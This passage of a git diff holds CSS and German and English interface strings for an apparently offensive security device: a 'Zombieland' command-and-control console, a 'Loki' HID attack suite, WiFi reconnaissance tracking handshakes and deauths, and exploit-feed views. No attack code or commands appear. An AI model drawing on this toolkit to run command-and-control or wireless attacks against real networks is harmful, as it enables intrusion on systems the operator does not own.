+.zl-card-id { + font-size: 0.7rem; + color: var(--muted); +} + +.zl-pill { + padding: 2px 8px; + border-radius: 12px; + font-size: 0.7rem; + font-weight: bold; + background: #222; +} + +.zl-pill.online { + color: #00ffa0; + background: rgba(0, 255, 160, 0.1); +} + +.zl-pill.idle { + color: #ffcc00; + background: rgba(255, 204, 0, 0.1); +} + +.zl-pill.offline { + color: #ff3333; + background: rgba(255, 51, 51, 0.1); +} + +/* ECG Animation */ +.zl-ecg-row { + display: flex; + align-items: center; + gap: 8px; +} + +.ecg { + width: 100%; + height: 24px; + max-width: 140px; + position: relative; + overflow: hidden; + background: rgba(0, 0, 0, 0.5); + border-radius: 6px; + border: 1px solid #111; +} + +.ecg-wrapper { + display: flex; + width: 300%; + animation: ecg-slide linear infinite; +} + +.ecg svg { + width: 33.33%; + height: 100%; +} + +.ecg path { + fill: none; + stroke-width: 1.5; + stroke-linecap: round; + stroke-linejoin: round; +} + +.ecg.green path { + stroke: #00ffa0; + filter: drop-shadow(0 0 2px #00ffa0); +} + +.ecg.yellow path { + stroke: #ffcc00; + filter: drop-shadow(0 0 2px #ffcc00); +} + +.ecg.orange path { + stroke: #ff8800; + filter: drop-shadow(0 0 2px #ff8800); +} + +.ecg.red path { + stroke: #ff3333; +} + +.ecg.flat .ecg-wrapper { + animation: none; +} + +@keyframes ecg-slide { + 0% { + transform: translateX(0); + } + + 100% { + transform: translateX(-33.33%); + } +} + +.zl-ecg-counter { + font-size: 0.7rem; + color: var(--muted); + font-family: monospace; +} + +.zl-card-info { + display: flex; + justify-content: space-between; + font-size: 0.75rem; + color: #ccc; + background: rgba(0, 0, 0, 0.2); + padding: 4px 8px; + border-radius: 4px; +} + +.zl-card-actions { + display: flex; + justify-content: flex-end; + gap: 4px; + margin-top: 4px; +} + +/* Console output items */ +.console-line { + margin-bottom: 4px; + display: flex; + gap: 8px; +} + +.console-time { + color: var(--muted); +} + +.console-type { + font-weight: bold; +} + +.console-type.tx { + color: var(--acid); +} + +.console-type.rx { + color: #00aaff; +} + +.console-type.info { + color: #ccc; +} + +.console-type.error { + color: #ff3333; +} + +.console-type.success { + color: #00ffa0; +} + +.console-target { + color: #aaa; +} + +.console-content pre { + margin: 0; + white-space: pre-wrap; + font-family: inherit; +} + +.zl-log-line { + display: flex; + gap: 8px; + margin-bottom: 4px; +} + +/* Mobile Optimization */ +@media (max-width: 900px) { + .zombieland-container.page-with-sidebar { + height: auto; + flex-direction: column; + } + + .zombieland-container .zl-sidebar { + width: 100%; + max-height: none; + flex-shrink: 0; + border-radius: 8px; + } + + .zl-stats-grid { + grid-template-columns: repeat(2, 1fr); + } + + .zl-toolbar { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 6px; + } + + .zl-main-grid { + grid-template-columns: 1fr; + gap: 12px; + } + + .zl-console-panel { + height: 350px; + flex: none; + } + + .zl-agents-panel { + height: 350px; + flex: none; + } + + .zl-console-input-row { + flex-wrap: wrap; + } + + .zl-target-select, + .zl-cmd-input { + width: 100%; + box-sizing: border-box; + } + + .zl-card-header { + flex-direction: column; + align-items: flex-start; + gap: 4px; + } + + .zl-card-info { + flex-direction: column; + gap: 2px; + } +} \ No newline at end of file diff --git a/web/css/shell.css b/web/css/shell.css index ae900b7..1d09a0b 100644 --- a/web/css/shell.css +++ b/web/css/shell.css @@ -980,7 +980,7 @@ body.console-docked .app-container { .cfg-host { display: grid; gap: 10px; - max-height: 56vh; + max-height: min(56vh, calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 140px)); overflow: auto; padding-right: 4px; } @@ -1137,16 +1137,59 @@ body.console-docked .app-container { width: 100%; } +/* Config sub-tab navigation */ +.cfg-subtabs { + display: flex; + gap: 4px; + padding: 4px; + margin-bottom: 10px; + border-radius: 12px; + background: color-mix(in oklab, var(--c-panel-2) 60%, transparent); + border: 1px solid var(--c-border); + overflow-x: auto; + flex-wrap: wrap; +} + +.cfg-subtab { + flex: 1 1 auto; + padding: 7px 10px; + border: 1px solid transparent; + border-radius: 8px; + background: transparent; + color: var(--muted); + font-size: 12px; + font-weight: 700; + cursor: pointer; + white-space: nowrap; + transition: background .15s, color .15s, border-color .15s; +} + +.cfg-subtab:hover { + color: var(--ink); + background: color-mix(in oklab, var(--c-panel) 50%, transparent); +} + +.cfg-subtab.active { + color: var(--acid); + background: var(--c-panel); + border-color: var(--c-border-strong); + box-shadow: var(--shadow); +} + /* Inline switch (modal lists) */ .switch { position: relative; + display: inline-block; width: 46px; height: 26px; + min-width: 46px; + flex-shrink: 0; background: var(--switch-track); border: 1px solid var(--c-border-hi); border-radius: 99px; cursor: pointer; box-shadow: inset 0 0 0 1px var(--glow-mid); + vertical-align: middle; } .switch::after { @@ -1170,6 +1213,11 @@ body.console-docked .app-container { transform: translateX(20px); } +/* Suppress ::after thumb when .slider span is used (settings config toggles) */ +.switch:has(.slider)::after { + display: none; +} + /* Sheet (WiFi/BT dialogs) */ .sheet-backdrop { position: fixed; @@ -1178,7 +1226,7 @@ body.console-docked .app-container { display: none; align-items: center; justify-content: center; - z-index: 75; + z-index: 95; } .sheet-backdrop.show { @@ -1285,6 +1333,20 @@ body.console-docked .app-container { min-width: 50px; max-width: 100%; } + + .cfg-subtabs { + flex-wrap: nowrap; + overflow-x: auto; + gap: 2px; + padding: 3px; + -webkit-overflow-scrolling: touch; + } + + .cfg-subtab { + flex: 0 0 auto; + padding: 6px 8px; + font-size: 11px; + } } /* ---- Liveview dropdown (character hover) ---- */ @@ -1602,6 +1664,20 @@ input[type="color"].theme-input { margin-bottom: 8px; } +.theme-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; + margin-top: 12px; + padding-top: 12px; + border-top: 1px dashed var(--c-border); +} + +.theme-actions .btn { + flex: 1 1 auto; + min-width: 80px; +} + /* ---- Toast notifications ---- */ .toast-container { position: fixed; diff --git a/web/css/zombieland.css b/web/css/zombieland.css new file mode 100644 index 0000000..be2686f --- /dev/null +++ b/web/css/zombieland.css @@ -0,0 +1,493 @@ +/* ========================================================================== + ZOMBIELAND (C2 Module) CSS + ========================================================================== */ + +/* Main layout constraints */ +.zombieland-container.page-with-sidebar { + height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + display: flex; + min-height: 0; +} + +.zl-sidebar.page-sidebar { + width: 260px; + flex-shrink: 0; + display: flex; + flex-direction: column; + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 12px; + overflow-y: auto; +} + +.zl-main.page-main { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; + gap: 12px; +} + +/* Sidebar structure */ +.zl-stats-grid { + display: grid; + grid-template-columns: 1fr; + gap: 8px; + margin-bottom: 15px; +} + +.stat-item { + background: rgba(0, 0, 0, 0.2); + border: 1px solid var(--c-border); + padding: 10px; + border-radius: 8px; + display: flex; + justify-content: space-between; + align-items: center; +} + +.stat-item .stat-value { + font-weight: bold; + color: var(--acid); + font-size: 1.1rem; +} + +.stat-item .stat-label { + font-size: 0.8rem; + color: var(--muted); + text-transform: uppercase; +} + +.zl-toolbar { + display: flex; + flex-direction: column; + gap: 6px; +} + +/* Modals */ +.modal { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background: rgba(0, 0, 0, 0.8); + display: flex; + align-items: center; + justify-content: center; + z-index: 1000; +} + +.modal-content { + background: var(--grad-card); + border: 1px solid var(--c-border); + padding: 20px; + border-radius: 12px; + width: 100%; + max-width: 400px; +} + +/* Main Grid Layout */ +.zl-main-grid { + display: grid; + grid-template-columns: minmax(0, 2fr) minmax(0, 1fr); + gap: 12px; + flex: 1; + /* Takes available space except logs */ + min-height: 0; +} + +.zl-console-panel, +.zl-agents-panel, +.zl-logs-panel { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--c-panel); + display: flex; + flex-direction: column; + overflow: hidden; +} + +/* Log Panel underneath */ +.zl-logs-panel { + height: 150px; + flex-shrink: 0; +} + +.zl-panel-header { + display: flex; + justify-content: space-between; + align-items: center; + padding: 8px 12px; + background: rgba(0, 0, 0, 0.2); + border-bottom: 1px solid var(--c-border); + flex-shrink: 0; +} + +.zl-panel-title { + font-weight: bold; + font-size: 0.9rem; + color: var(--acid); +} + +.zl-quickbar { + display: flex; + gap: 4px; +} + +.quick-cmd { + background: transparent; + border: 1px solid var(--c-border-strong); + color: var(--muted); + font-size: 0.7rem; + padding: 2px 6px; + border-radius: 4px; + cursor: pointer; + transition: 0.2s; +} + +.quick-cmd:hover { + color: var(--acid); + border-color: var(--acid); +} + +.zl-console-output, +.zl-logs-output { + flex: 1; + overflow-y: auto; + padding: 10px; + font-family: 'Fira Code', monospace; + font-size: 0.8rem; + background: #020406; + min-height: 0; +} + +/* Controls */ +.zl-console-input-row { + display: flex; + gap: 8px; + padding: 8px; + border-top: 1px solid var(--c-border); + background: var(--c-panel-2); + flex-shrink: 0; +} + +.zl-target-select, +.zl-cmd-input, +.zl-search-input { + background: #000; + color: #fff; + border: 1px solid var(--c-border-strong); + padding: 6px 10px; + border-radius: 6px; +} + +.zl-cmd-input { + flex: 1; +} + +.zl-toolbar-left { + display: flex; + position: relative; + flex: 1; + max-width: 200px; + margin-left: 10px; +} + +.zl-search-input { + width: 100%; + border-radius: 6px; + padding: 4px 20px 4px 8px; + font-size: 0.8rem; +} + +.zl-search-clear { + position: absolute; + right: 5px; + top: 5px; + color: var(--muted); + background: none; + border: none; + cursor: pointer; +} + +.zl-agents-list { + flex: 1; + overflow-y: auto; + padding: 10px; + display: flex; + flex-direction: column; + gap: 8px; +} + +/* Agent Card Styles */ +.zl-agent-card { + background: rgba(0, 0, 0, 0.3); + border: 1px solid var(--c-border); + border-radius: 8px; + padding: 8px 12px; + display: flex; + flex-direction: column; + gap: 6px; + transition: 0.2s ease-out; +} + +.zl-agent-card.selected { + border-color: var(--acid); + background: rgba(0, 255, 160, 0.05); +} + +.zl-agent-card:hover { + border-color: var(--c-border-hi); +} + +.zl-card-header { + display: flex; + justify-content: space-between; + align-items: center; +} + +.zl-card-identity { + display: flex; + flex-direction: column; + gap: 2px; + line-height: 1; +} + +.zl-card-hostname { + font-weight: bold; + color: #fff; + font-size: 0.9rem; +} + +.zl-card-id { + font-size: 0.7rem; + color: var(--muted); +} + +.zl-pill { + padding: 2px 8px; + border-radius: 12px; + font-size: 0.7rem; + font-weight: bold; + background: #222; +} + +.zl-pill.online { + color: #00ffa0; + background: rgba(0, 255, 160, 0.1); +} + +.zl-pill.idle { + color: #ffcc00; + background: rgba(255, 204, 0, 0.1); +} + +.zl-pill.offline { + color: #ff3333; + background: rgba(255, 51, 51, 0.1); +} + +/* ECG Animation */ +.zl-ecg-row { + display: flex; + align-items: center; + gap: 8px; +} + +.ecg { + width: 100%; + height: 24px; + max-width: 140px; + position: relative; + overflow: hidden; + background: rgba(0, 0, 0, 0.5); + border-radius: 6px; + border: 1px solid #111; +} + +.ecg-wrapper { + display: flex; + width: 300%; + animation: ecg-slide linear infinite; +} + +.ecg svg { + width: 33.33%; + height: 100%; +} + +.ecg path { + fill: none; + stroke-width: 1.5; + stroke-linecap: round; + stroke-linejoin: round; +} + +.ecg.green path { + stroke: #00ffa0; + filter: drop-shadow(0 0 2px #00ffa0); +} + +.ecg.yellow path { + stroke: #ffcc00; + filter: drop-shadow(0 0 2px #ffcc00); +} + +.ecg.orange path { + stroke: #ff8800; + filter: drop-shadow(0 0 2px #ff8800); +} + +.ecg.red path { + stroke: #ff3333; +} + +.ecg.flat .ecg-wrapper { + animation: none; +} + +@keyframes ecg-slide { + 0% { + transform: translateX(0); + } + + 100% { + transform: translateX(-33.33%); + } +} + +.zl-ecg-counter { + font-size: 0.7rem; + color: var(--muted); + font-family: monospace; +} + +.zl-card-info { + display: flex; + justify-content: space-between; + font-size: 0.75rem; + color: #ccc; + background: rgba(0, 0, 0, 0.2); + padding: 4px 8px; + border-radius: 4px; +} + +.zl-card-actions { + display: flex; + justify-content: flex-end; + gap: 4px; + margin-top: 4px; +} + +/* Console output items */ +.console-line { + margin-bottom: 4px; + display: flex; + gap: 8px; +} + +.console-time { + color: var(--muted); +} + +.console-type { + font-weight: bold; +} + +.console-type.tx { + color: var(--acid); +} + +.console-type.rx { + color: #00aaff; +} + +.console-type.info { + color: #ccc; +} + +.console-type.error { + color: #ff3333; +} + +.console-type.success { + color: #00ffa0; +} + +.console-target { + color: #aaa; +} + +.console-content pre { + margin: 0; + white-space: pre-wrap; + font-family: inherit; +} + +.zl-log-line { + display: flex; + gap: 8px; + margin-bottom: 4px; +} + +/* Mobile Optimization */ +@media (max-width: 900px) { + .zombieland-container.page-with-sidebar { + height: auto; + flex-direction: column; + } + + .zombieland-container .zl-sidebar { + width: 100%; + max-height: none; + flex-shrink: 0; + border-radius: 8px; + } + + .zl-stats-grid { + grid-template-columns: repeat(2, 1fr); + } + + .zl-toolbar { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 6px; + } + + .zl-main-grid { + grid-template-columns: 1fr; + gap: 12px; + } + + .zl-console-panel { + height: 350px; + flex: none; + } + + .zl-agents-panel { + height: 350px; + flex: none; + } + + .zl-console-input-row { + flex-wrap: wrap; + } + + .zl-target-select, + .zl-cmd-input { + width: 100%; + box-sizing: border-box; + } + + .zl-card-header { + flex-direction: column; + align-items: flex-start; + gap: 4px; + } + + .zl-card-info { + flex-direction: column; + gap: 2px; + } +} \ No newline at end of file diff --git a/web/i18n/de.json b/web/i18n/de.json index 02149c9..37a85f1 100644 --- a/web/i18n/de.json +++ b/web/i18n/de.json @@ -40,22 +40,40 @@ "settings.errorRestoring": "Fehler beim Wiederherstellen der Standardwerte", "theme.group.colors": "Farben", "theme.group.surfaces": "Oberflächen", + "theme.group.borders": "Rahmen", + "theme.group.controls": "Steuerelemente", "theme.group.layout": "Layout", "theme.token.bg": "Hintergrund", + "theme.token.bg2": "Hintergrund Alt", "theme.token.ink": "Textfarbe", + "theme.token.muted": "Gedämpfter Text", "theme.token.accent1": "Akzent 1 (Acid)", "theme.token.accent2": "Akzent 2 (Cyan)", + "theme.token.accent": "Akzent", + "theme.token.accentAlt": "Akzent Alt", "theme.token.danger": "Gefahr", "theme.token.warning": "Warnung", "theme.token.ok": "Erfolg", "theme.token.panel": "Panel", "theme.token.panel2": "Panel Alt", "theme.token.ctrlPanel": "Steuerpanel", + "theme.token.ctrlPanel2": "Steuerpanel Alt", + "theme.token.btnBg": "Schaltflächenhintergrund", "theme.token.border": "Rahmen", + "theme.token.borderStrong": "Starker Rahmen", + "theme.token.borderHi": "Rahmenhervorhebung", + "theme.token.switchTrack": "Schalter-Spur", + "theme.token.switchOnBg": "Schalter Ein-Hintergrund", + "theme.token.scrollTrack": "Scrollleisten-Spur", + "theme.token.scrollThumb": "Scrollleisten-Griff", + "theme.token.glass": "Glasüberlagerung", "theme.token.radius": "Rahmenradius", "theme.advanced": "Erweitertes CSS", "theme.applyRaw": "Anwenden", - "theme.reset": "Zurücksetzen", + "theme.reset": "Auf Standard zurücksetzen", + "theme.export": "Design exportieren", + "theme.import": "Design importieren", + "theme.importError": "Ungültige Design-Datei", "dash.title": "Dashboard", "dash.battery": "Batterie", "dash.internet": "Internet", @@ -777,5 +795,137 @@ "api.timeout": "Anfrage Zeitüberschreitung", "api.failed": "Anfrage fehlgeschlagen", "router.notFound": "Seite nicht gefunden: {{path}}", - "router.errorLoading": "Fehler beim Laden der Seite: {{message}}" + "router.errorLoading": "Fehler beim Laden der Seite: {{message}}", + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel Wachhund", + "sentinel.enabled": "Aktiviert", + "sentinel.disabled": "Deaktiviert", + "sentinel.eventFeed": "Ereignis-Feed", + "sentinel.ackAll": "Alle bestätigen", + "sentinel.clearAll": "Alle löschen", + "sentinel.allAcked": "Alle Ereignisse bestätigt", + "sentinel.confirmClear": "Alle Ereignisse löschen? Dies kann nicht rückgängig gemacht werden.", + "sentinel.eventsCleared": "Ereignisse gelöscht", + "sentinel.noEvents": "Noch keine Ereignisse. Sentinel überwacht Ihr Netzwerk auf Anomalien.", + "sentinel.rules": "Regeln", + "sentinel.devices": "Geräte", + "sentinel.notifiers": "Benachrichtigungen", + "sentinel.statDevices": "Bekannte Geräte", + "sentinel.statAlive": "Aktiv", + "sentinel.statUnread": "Ungelesen", + "sentinel.statEvents": "Ereignisse gesamt", + "sentinel.statRules": "Aktive Regeln", + "sentinel.addRule": "Regel hinzufügen", + "sentinel.noRules": "Keine Regeln konfiguriert.", + "sentinel.ruleLogic": "Logik", + "sentinel.ruleActions": "Aktionen", + "sentinel.enable": "Aktivieren", + "sentinel.disable": "Deaktivieren", + "sentinel.editRule": "Regel bearbeiten", + "sentinel.deleteRule": "Regel löschen", + "sentinel.confirmDeleteRule": "Diese Regel löschen?", + "sentinel.ruleDeleted": "Regel gelöscht", + "sentinel.ruleUpdated": "Regel aktualisiert", + "sentinel.ruleCreated": "Regel erstellt", + "sentinel.ruleName": "Regelname", + "sentinel.triggerType": "Auslösertyp", + "sentinel.cooldown": "Cooldown", + "sentinel.conditions": "Bedingungen", + "sentinel.cancel": "Abbrechen", + "sentinel.save": "Speichern", + "sentinel.nameRequired": "Regelname ist erforderlich", + "sentinel.noDevices": "Noch keine Geräte entdeckt.", + "sentinel.trusted": "Vertraut", + "sentinel.untrusted": "Nicht vertraut", + "sentinel.alias": "Alias", + "sentinel.expectedIps": "Erwartete IPs", + "sentinel.lastSeen": "Zuletzt gesehen", + "sentinel.deviceSaved": "Gerät aktualisiert", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP Benutzer", + "sentinel.smtpPass": "SMTP Passwort", + "sentinel.emailFrom": "E-Mail Absender", + "sentinel.emailTo": "E-Mail Empfänger", + "sentinel.saveNotifiers": "Benachrichtigungen speichern", + "sentinel.notifiersSaved": "Benachrichtigungskonfiguration gespeichert", + "sentinel.justNow": "gerade eben", + "sentinel.acknowledge": "Bestätigen", + "nav.bifrost": "Bifrost", + "bifrost.title": "Bifrost", + "bifrost.enabled": "Aktiviert", + "bifrost.disabled": "Deaktiviert", + "bifrost.activityFeed": "Aktivitätsfeed", + "bifrost.clearActivity": "Löschen", + "bifrost.activityCleared": "Aktivität gelöscht", + "bifrost.noActivity": "Keine Aktivität. Aktivieren Sie Bifrost für WiFi-Aufklärung.", + "bifrost.networks": "Netzwerke", + "bifrost.plugins": "Plugins", + "bifrost.history": "Verlauf", + "bifrost.mood": "Stimmung", + "bifrost.statNetworks": "Netzwerke", + "bifrost.statHandshakes": "Handshakes", + "bifrost.statDeauths": "Deauths", + "bifrost.statAssocs": "Assocs", + "bifrost.statEpochs": "Epochen", + "bifrost.statPeers": "Peers", + "bifrost.noNetworks": "Noch keine Netzwerke entdeckt.", + "bifrost.noPlugins": "Keine Plugins geladen.", + "bifrost.noEpochs": "Noch keine Epochen aufgezeichnet.", + "bifrost.justNow": "gerade eben", + "bifrost.confirmEnable": "Bifrost-Modus aktivieren? WiFi wird in den Monitormodus versetzt — die Netzwerkverbindung geht verloren. Verbinden Sie sich stattdessen über USB/Bluetooth/Ethernet.", + "bifrost.monitorFailed": "Monitormodus Fehlgeschlagen", + "bifrost.monitorFailedHint": "Für Broadcom-Chips (Pi Zero) installieren Sie nexmon. Oder verwenden Sie einen externen USB-WiFi-Adapter.", + "bifrost.nexmonRequired": "Nexmon erforderlich", + "bifrost.nexmonRequiredDesc": "Ihr Broadcom WiFi-Chip benötigt Nexmon-Firmware-Patches für den Monitormodus. Klicken Sie zum Auto-Installieren (~15-25 Min auf Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Nexmon installieren", + "bifrost.nexmonConfirm": "Nexmon-Firmware-Patches installieren? Dies lädt und kompiliert nexmon (~15-25 Min). Internetzugang und Root-Rechte erforderlich.", + "bifrost.nexmonStarted": "Nexmon-Installation gestartet ...", + "bifrost.nexmonInstalling": "Nexmon wird installiert ...", + + "nav.loki": "Loki", + "loki.title": "Loki — HID-Angriffs-Suite", + "loki.enable": "Aktivieren", + "loki.enabled_msg": "Loki-Modus aktiviert", + "loki.disabled_msg": "Loki-Modus deaktiviert", + "loki.status_label": "Status", + "loki.gadget_label": "Gadget", + "loki.layout_label": "Layout", + "loki.jobs_label": "Aufgaben", + "loki.running": "Läuft", + "loki.running_lc": "läuft", + "loki.idle": "Leerlauf", + "loki.ready": "Bereit", + "loki.not_ready": "Nicht bereit", + "loki.run": "Ausführen", + "loki.save": "Speichern", + "loki.new": "Neu", + "loki.delete": "Löschen", + "loki.cancel": "Abbrechen", + "loki.output": "Ausgabe", + "loki.payloads": "Nutzlasten", + "loki.custom_scripts": "Eigene Skripte", + "loki.jobs": "Aufgaben", + "loki.clear_completed": "Abgeschlossene löschen", + "loki.script": "Skript", + "loki.status_col": "Status", + "loki.started": "Gestartet", + "loki.actions": "Aktionen", + "loki.no_payloads": "Keine eingebauten Nutzlasten", + "loki.no_scripts": "Keine gespeicherten Skripte", + "loki.no_jobs": "Noch keine Aufgaben", + "loki.no_output": "Keine Ausgabe", + "loki.empty_script": "Skript ist leer", + "loki.job_started": "Aufgabe gestartet: {id}", + "loki.run_error": "Skript konnte nicht ausgeführt werden", + "loki.script_name_prompt": "Skriptname:", + "loki.saved": "Skript gespeichert", + "loki.save_error": "Skript konnte nicht gespeichert werden", + "loki.confirm_delete": "Skript '{name}' löschen?", + "loki.quick_placeholder": "Schnelltext hier eingeben...", + "loki.quick_send": "Tippen", + "loki.quick_sent": "Text an Ziel gesendet", + "loki.quick_error": "Text konnte nicht gesendet werden" } \ No newline at end of file diff --git a/web/i18n/en.json b/web/i18n/en.json index 5f90e82..99b90a9 100644 --- a/web/i18n/en.json +++ b/web/i18n/en.json @@ -82,22 +82,40 @@ "settings.tooltip.bruteforce_exhaustive_max_candidates": "Maximum generated candidates for exhaustive bruteforce.", "theme.group.colors": "Colors", "theme.group.surfaces": "Surfaces", + "theme.group.borders": "Borders", + "theme.group.controls": "Controls", "theme.group.layout": "Layout", "theme.token.bg": "Background", + "theme.token.bg2": "Background Alt", "theme.token.ink": "Text Color", + "theme.token.muted": "Muted Text", "theme.token.accent1": "Accent 1 (Acid)", "theme.token.accent2": "Accent 2 (Cyan)", + "theme.token.accent": "Accent", + "theme.token.accentAlt": "Accent Alt", "theme.token.danger": "Danger", "theme.token.warning": "Warning", "theme.token.ok": "Success", "theme.token.panel": "Panel", "theme.token.panel2": "Panel Alt", "theme.token.ctrlPanel": "Control Panel", + "theme.token.ctrlPanel2": "Control Panel Alt", + "theme.token.btnBg": "Button Background", "theme.token.border": "Border", + "theme.token.borderStrong": "Border Strong", + "theme.token.borderHi": "Border Highlight", + "theme.token.switchTrack": "Switch Track", + "theme.token.switchOnBg": "Switch On BG", + "theme.token.scrollTrack": "Scrollbar Track", + "theme.token.scrollThumb": "Scrollbar Thumb", + "theme.token.glass": "Glass Overlay", "theme.token.radius": "Border Radius", "theme.advanced": "Advanced CSS", "theme.applyRaw": "Apply", "theme.reset": "Reset to Default", + "theme.export": "Export Theme", + "theme.import": "Import Theme", + "theme.importError": "Invalid theme file", "dash.title": "Dashboard", "dash.battery": "Battery", "dash.internet": "Internet", @@ -819,5 +837,417 @@ "api.timeout": "Request timed out", "api.failed": "Request failed", "router.notFound": "Page not found: {{path}}", - "router.errorLoading": "Error loading page: {{message}}" + "router.errorLoading": "Error loading page: {{message}}", + "sched.filterPlaceholder": "Filter (action, MAC, IP, host, service, port...)", + "sched.focusActive": "Focus active", + "sched.compact": "Compact", + "sched.collapse": "Collapse", + "sched.expand": "Expand", + "sched.showSuperseded": "+ superseded", + "sched.hideSuperseded": "- superseded", + "sched.noEntries": "No entries", + "sched.entries": "entries", + "sched.displayMore": "Display more\u2026", + "sched.fetchError": "Queue fetch error", + "sched.cmdFailed": "Command failed", + "sched.noHistory": "No history", + "sched.historyColorCoded": "Rows are color-coded by status.", + "sched.port": "Port", + "sched.service": "Svc", + "sched.eligibleIn": "Eligible in", + "sched.elapsed": "Elapsed", + "sched.due": "due", + "sched.created": "created", + "sched.started": "started", + "sched.retries": "retries", + "sched.retry": "retry", + "sched.priority": "prio", + "studio.autoLayout": "Auto-layout", + "studio.repel": "Repel", + "studio.apply": "Apply", + "studio.help": "Help", + "studio.filterActions": "Filter actions...", + "studio.filterHosts": "Filter host/IP/MAC...", + "studio.total": "total", + "studio.placed": "placed", + "studio.alive": "alive", + "studio.availableActions": "Available actions", + "studio.realHosts": "Real hosts", + "studio.testHosts": "Test hosts", + "studio.createTestHost": "Create test host", + "studio.selectedAction": "Selected action", + "studio.selectNodeToEdit": "Select a node to edit it", + "studio.selectedHost": "Selected host", + "studio.addHost": "Add host", + "studio.fitGraph": "Fit graph", + "studio.saveToDb": "Save to DB", + "studio.importActionsDb": "Import actions DB", + "studio.importStudioDb": "Import studio DB", + "studio.tips": "Tips", + "studio.tipsText": "Drag background to pan, mouse wheel/pinch to zoom, connect ports to link nodes.", + "studio.shortcuts": "Studio shortcuts", + "studio.navigation": "Navigation", + "studio.keyboard": "Keyboard", + "studio.shortcutZoom": "Mouse wheel / pinch: zoom", + "studio.shortcutPan": "Drag canvas background: pan", + "studio.shortcutDragNode": "Drag node: move node", + "studio.shortcutFit": "F: fit graph to viewport", + "studio.shortcutSave": "Ctrl/Cmd + S: save to DB", + "studio.shortcutEsc": "Esc: close menus / sidebars / modals", + "studio.shortcutDelete": "Delete: delete selected node", + "studio.success": "success", + "studio.failure": "failure", + "studio.requires": "requires", + "studio.pinchHint": "Pinch/scroll = zoom, drag = pan, connect ports to create links", + "studio.nodesCount": "nodes", + "studio.linksCount": "links", + "studio.noActionsMatch": "No actions match this filter.", + "studio.noRealHostsMatch": "No real hosts match this filter.", + "studio.noTestHostsYet": "No test hosts yet.", + "studio.saved": "Saved", + "studio.localBackup": "Local backup (DB unavailable)", + "studio.applied": "Applied to runtime", + "studio.applyFailed": "Apply runtime failed", + "studio.autoLayoutApplied": "Auto-layout applied", + "studio.actionUpdated": "Action updated", + "studio.hostUpdated": "Host updated", + "studio.testHostDeleted": "Test host deleted", + "studio.testHostCreated": "Test host created", + "studio.macExists": "MAC already exists", + "studio.deleteTestHost": "Delete this test host?", + "studio.link": "Link", + "studio.from": "From", + "studio.to": "To", + "studio.linkContext": "Choose behavior (trigger or requirement). Presets adapt to node types.", + "studio.mode": "Mode", + "studio.preset": "Preset", + "studio.trigger": "Trigger", + "studio.requirement": "Requirement", + "studio.param1": "Param 1", + "studio.param2": "Param 2", + "studio.preview": "Preview", + "studio.validate": "Validate", + "studio.removeFromCanvas": "Remove from canvas", + "studio.deleteFromCanvas": "Delete from canvas", + "studio.addCondition": "+ Condition", + "studio.addTestHost": "Add test host", + "studio.closePanel": "Close panel", + "studio.openPalette": "Open palette", + "studio.openInspector": "Open inspector", + + "vulns.totalCVEs": "Total CVEs", + "vulns.active": "Active", + "vulns.remediated": "Remediated", + "vulns.hosts": "Hosts", + "vulns.withExploit": "w/ Exploit", + "vulns.kev": "KEV", + "vulns.updateFeeds": "Update Exploit Feeds", + "vulns.sortBy": "Sort by", + "vulns.cvssScore": "CVSS Score", + "vulns.lastSeen": "Last Seen", + "vulns.firstSeen": "First Seen", + "vulns.dateFilter": "Date filter (last seen)", + "vulns.clearDates": "Clear dates", + "vulns.cveView": "CVE View", + "vulns.hostView": "Host View", + "vulns.exploits": "Exploits", + "vulns.lastRefresh": "Last refresh: {{time}}", + "vulns.downloading": "Downloading…", + "vulns.syncingFeeds": "Syncing CISA KEV, Exploit-DB, EPSS…", + "vulns.noSyncYet": "No sync yet — click to update.", + "vulns.lastSync": "Last sync: {{date}} · {{count}} exploits", + "vulns.clickDetails": "click for details", + "vulns.noHostsFound": "No hosts found", + "vulns.vulnsCount": "{{count}} vulns", + "vulns.fixed": "FIXED", + "vulns.maxCvss": "Max CVSS", + "vulns.noExploitData": "No exploit data yet", + "vulns.searchExploits": "Search All Exploits now", + "vulns.filterHistory": "Filter history…", + "vulns.noHistory": "No history entries", + "vulns.pageInfo": "Page {{page}}/{{total}} — {{count}} entries", + "vulns.resultsInfo": "Page {{page}}/{{total}} — {{count}} results", + "vulns.score": "Score", + "vulns.probability": "Probability", + "vulns.percentile": "Percentile", + "vulns.cisaKev": "CISA KEV", + "vulns.cisaKevMsg": "This vulnerability is in the CISA Known Exploited Vulnerabilities catalog.", + "vulns.epss": "EPSS", + "vulns.affectedProducts": "Affected Products", + "vulns.product": "Product", + "vulns.versions": "Versions", + "vulns.exploitsRefs": "Exploits & References", + "vulns.noExploitRecords": "No exploit records in DB yet — use \"Search All Exploits\" to enrich.", + "vulns.references": "References", + "vulns.lastModified": "Last Modified", + "vulns.noEnrichment": "No enrichment data available.", + "vulns.github": "GitHub", + "vulns.rapid7": "Rapid7", + "vulns.nvd": "NVD", + "vulns.mitre": "MITRE", + "vulns.na": "N/A", + "vulns.unknown": "Unknown", + + "dash.auto": "AUTO", + "dash.manual": "MANUAL", + "dash.lvl": "LVL {{level}}", + "dash.on": "ON", + "dash.off": "OFF", + "dash.yes": "YES", + "dash.no": "NO", + "dash.ssid": "SSID", + "dash.ip": "IP", + "dash.gw": "GW", + "dash.dns": "DNS", + "dash.fds": "FDS", + "dash.fix": "Fix", + "dash.sats": "Sats", + "dash.osLabel": "OS", + "dash.arch": "Arch", + "dash.model": "Model", + "dash.waveshare": "Waveshare E-Ink", + "dash.bjorn": "BJORN", + "dash.cpuRam": "CPU/RAM", + "dash.device": "Device", + "dash.equalSinceScan": "= since last scan", + + "netkb.ip": "IP", + "netkb.mac": "MAC", + "netkb.vendor": "Vendor", + "netkb.essid": "ESSID", + 